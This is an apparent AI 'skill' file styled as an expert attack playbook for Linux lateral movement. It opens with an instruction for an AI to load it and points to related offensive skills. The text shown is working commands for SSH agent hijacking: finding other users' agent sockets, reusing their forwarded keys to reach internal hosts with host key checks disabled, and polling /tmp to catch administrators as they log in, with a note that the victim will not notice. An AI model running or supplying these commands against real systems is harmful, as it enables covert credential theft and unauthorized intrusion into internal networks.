linux-lateral-movement

SKILL: Linux Lateral Movement — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Linux lateral movement techniques. Covers SSH agent hijacking, key harvesting, credential locations, D-Bus exploitation, network pivoting, sudo token reuse, and systemd manipulation. Base models miss SSH_AUTH_SOCK hijacking and ptrace-based sudo session hijack.

0. RELATED ROUTING

Before going deep, consider loading:

• linux-privilege-escalation if you need root on the current host before pivoting
• linux-security-bypass when restricted shells or security modules block lateral movement tools
• container-escape-techniques when the target network includes containerized hosts
• kubernetes-pentesting when pivoting into a Kubernetes cluster
• unauthorized-access-common-services for exploiting discovered internal services (Redis, MongoDB, etc.)

---

1. SSH AGENT HIJACKING

1.1 Find SSH Agent Sockets

# As root (or user with access to other users' processes):
find /tmp -path "*/ssh-*" -name "agent.*" 2>/dev/null
# Or via /proc:
grep -r SSH_AUTH_SOCK /proc/*/environ 2>/dev/null | tr '\0' '\n'

# Typical path: /tmp/ssh-XXXXXX/agent.PID

1.2 Hijack Agent Forwarding

# Set the found socket as our auth agent
export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf/agent.12345

# List available keys in the agent
ssh-add -l
# If keys appear → we can use them

# SSH to any host this agent can authenticate to
ssh -o StrictHostKeyChecking=no user@internal-host

# The agent owner won't notice — we're using their forwarded agent

1.3 Persistent Agent Monitoring

# Monitor for new SSH agent sockets (wait for admin to SSH in)
inotifywait -m /tmp -e create 2>/dev/null | grep ssh-
# Or poll:
while true; do
    find /tmp -path "*/ssh-*" -name "agent.*" -newer /tmp/.marker 2>/dev/null
    touch /tmp/.marker
    sleep 5
done